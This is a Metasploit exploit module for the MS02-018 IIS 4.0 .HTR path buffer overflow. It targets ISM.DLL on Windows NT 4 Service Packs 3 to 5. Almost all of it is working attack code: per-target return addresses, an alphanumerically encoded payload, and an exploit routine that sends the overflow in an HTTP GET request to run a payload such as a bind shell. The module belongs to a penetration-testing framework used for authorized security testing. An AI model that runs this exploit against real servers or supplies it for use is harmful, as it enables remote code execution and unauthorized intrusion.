MS02-018 Microsoft IIS 4.0 .HTR Path Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',
      'Description'    => %q{
          This exploits a buffer overflow in the ISAPI ISM.DLL used to
        process HTR scripting in IIS 4.0. This module works against
        Windows NT 4 Service Packs 3, 4, and 5. The server will
        continue to process requests until the payload being
        executed has exited. If you've set EXITFUNC to 'seh', the
        server will continue processing requests, but you will have
        trouble terminating a bind shell. If you set EXITFUNC to
        thread, the server will crash upon exit of the bind shell.
        The payload is alpha-numerically encoded without a NOP sled
        because otherwise the data gets mangled by the filters.
      },
      'Author'         => [ 'stinko' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '1999-0874'],
          [ 'OSVDB', '3325'],
          [ 'BID', '307'],
          [ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
          [ 'MSB', 'MS02-018'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 2048,
          'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
          ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
          ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
        ],
      'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub
      'DisclosureDate' => '2002-04-10',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def exploit
    connect

    buf = 'X' * target['Rets'][0]
    buf << [ target['Rets'][1] ].pack('V')
    buf << payload.encoded

    req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
    print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
    sock.put(req)
    handler
    disconnect
  end
end